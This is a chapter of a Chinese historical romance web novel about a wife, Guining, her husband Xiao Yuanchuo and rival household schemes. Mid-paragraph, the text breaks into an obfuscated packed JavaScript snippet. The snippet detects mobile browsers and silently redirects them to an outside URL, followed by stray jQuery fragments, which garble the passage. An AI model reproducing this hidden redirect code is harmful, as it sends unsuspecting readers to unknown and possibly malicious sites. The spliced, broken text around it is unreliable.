作为母亲，她非常清楚儿子喜欢什么样的女子。归宁胜在容貌秀美，端庄娴雅。喜读书，识大体，又会管家，上敬长辈，下怜弟妹。 到底是老太太教出来的姑娘，让人挑不出错来，只要她不挑事，邓氏也乐得享受了。 她要的东西急不来，要徐徐图之，“让雪柔来家里多坐坐，阿宁要养伤，我一个人怪闷的。” 邓家身后的那些亡命之徒已经送走了，现在应该找个机会和萧元绰谈谈家事了。 ** 再说归宁，回了孤芳苑之后，开始潜心绣香囊。 而周嬷嬷带着齐姨娘出门去给二爷上坟，该听的不该听的，都趁着出门的机会，让她长了见识。 本来明渊寺和尚的事，大理寺还遮遮掩掩，内宅妇人都心照不宣，生怕牵扯出自家一些见不得人的事来。可乐巧之事，让宫里起了关注，这事儿就传开了。 甚至有传言说，那老和尚根本没有死，死的可能就是个替身等话。 当日回来，齐姨娘就有些心神恍惚，周嬷嬷就当她是舟车劳顿，不曾多问，回了孤芳苑见归宁。 彼时归宁正在读信，眉眼间露出几丝欣喜。 那是母亲托人送来的密信…… 信中说她将在三月中旬回到京师，也不知道发生了什么，竟然比预计时间晚了半个多月，让归宁好生担心。 按照母亲当时出发的时间推算，最晚三月初，也就是清明前后就应该回来了。 见信后，归宁既喜又叹，喜的是母亲归来，让她心里有了底；叹的是，万事无进展，自己还弄成了这个样子，徒让母亲担心，实在是不孝。 单妈妈不同寻常的死亡，她明知与萧元绰有关，可就是无从下手。她明知邓氏与那明渊寺的和尚暗中有勾连，却没有证据。 她怀疑，是不是单妈妈在应天发现他与倭人暗中有往来，才被灭了口。可这所谓的倭人她前后两世都不曾见过半个人影，且凭她对萧元绰的了解，他也不是那种卖国的人。 一切又回到了风平浪静的起点。 自上次负气离开，萧元绰已经有几日不曾来孤芳苑探望她。邓雪柔又来了萧府做客，萧元绰还陪着太夫人吃了几次饭。 正值春暖花开之季，归宁在屋内呆得发慌，让人推她去院子里转转，沏了一壶茶，坐在花树下翻琴谱。这琴谱还是父亲留给她的东西，她甚为珍视。 归宁调好琴弦，奏出记忆中的泠泠清音。清风拂过，落英缤纷，落在归宁的身上，宛如画境一般。 袅袅琴音在空旷之地散开，如潺潺流水拂过心田，让远观的萧元绰软下心来。 他信步走来，对瞧见他的丫头嘘声，示意不要打扰归宁。至一曲悲戚悠扬的《泣颜回》终了，才站在她身后，温声道：“怎么弹起这首曲子了？” 这首曲子相传乃思弟子颜回所作，充满哀悼叹惋，于这融融春光中奏响，着实有些伤感。 归宁淡笑道：“这不马上清明了，就想起了这首曲子。夫君想听什么，我弹来试试，不过只能是简单的，似《流水》和《广陵散》那般的曲子，我可不成。” 她本就学艺不精，又练习不勤，生疏了，只能糊弄糊弄外行人，和那秦淮河畔的女子是万万不能比的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840289|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>萧元绰对丝竹管弦之乐也没什么研究，随口道：“那就《潇湘水云》吧。” 归宁嫌难，带着几丝讨好道，“要不《归去来辞》吧。” 这首曲可以配合陶渊明的《归去来兮辞》吟诵，萧元绰笑了笑，“也好。” 归宁奏曲，萧元绰吟诗，夫妻二人夫唱妇随，琴瑟和鸣，这一幕于无形间深深刺痛了躲在暗处的邓雪柔。 姑母暗地里问了表哥纳妾之事，表哥只说再等等。她都十六了，再等两年真就成了老姑娘。 思及此，邓雪柔暗暗攥紧了粉拳。 一曲终了，萧元绰随手倒了一盏茶喝了。只觉今日这红茶茶汤入口滑顺细腻，醇厚绵绸，不由问道，“这是什么茶？” 归宁这才意识到不妥，竟然拿出了小周王送的大红袍，笑道：“从母亲那里随手拿的，也不知道是什么，夫君随意喝一喝就是了。” 宋娘子那里一向稀奇古怪的东西多，萧元绰对着茶汤端详了片刻，还是一口饮尽，再未多问。放在心上，放下茶盏，推着归宁四处走走，正赶上他旬休，这样的闲暇很难得。 归宁将清明祭祖的安排说了，等他的意见，萧元绰今日寻她，本也是询问此事。 她不良于行，今年是没办法参加了，祭祖之后，本可去出游，她道：“让婆母带着二姑娘和表姑娘出去转转吧。再过些时日估计母亲就回来了，到时候我想出府去看看她。” 萧元绰道：“我随你一同去。” ** 二人在花园转了一圈儿，傍晚时分才回到孤芳苑。用过饭之后，归宁将刚刚锈好的香囊拿出来，和声细语道：“前几日是我赌输了，且拿这个送夫君聊做补偿，可行？” 见她模样乖觉，萦绕在萧元绰心头多日的不快终于散尽，接过东西，仔细观赏了一番，笑道：“我喜欢。不过这个颜色有些重，马上入夏了，再送我一个颜色浅的配衣服吧。” 归宁的绣艺还是不错的，东西做的小巧精致，配色也很讲究。 归宁自是不能推辞，点头道：“好，这就给夫君准备。” 当日萧元绰还是宿在了孤芳苑，二人同床不同枕。萧元绰两次将挪到里侧的归宁连人带被抱了回来，迷迷糊糊道：“咱们都成亲了，你躲我做什么呢？” 母亲逼他纳妾了，眼下归宁有伤在身，是个开口的好机会，若是错过这几个月，以后恐怕更难了。 邓家帮萧家处理了不少脏事，可也是有所求的。邓睿江为人偏执，可最疼这个妹妹。如今大姐姐的事已平，邓家便更加急切起来。 可他不愿意为了旁人和归宁生分，如今二人尚未圆房，若此时纳妾，恐怕会生出太多嫌隙来。 若不是事关父亲，他真的不想插手大姐姐的事，徒惹一身腥。 趁归宁熟睡之际，萧元绰还是将人拉进了自己的被子里，小心地避开她受伤的腿，将人揽在怀里，这才安稳的闭上眼。 归宁自己半夜察觉到了不对，又悄悄盖回了自己的被子，紧挨着他睡了。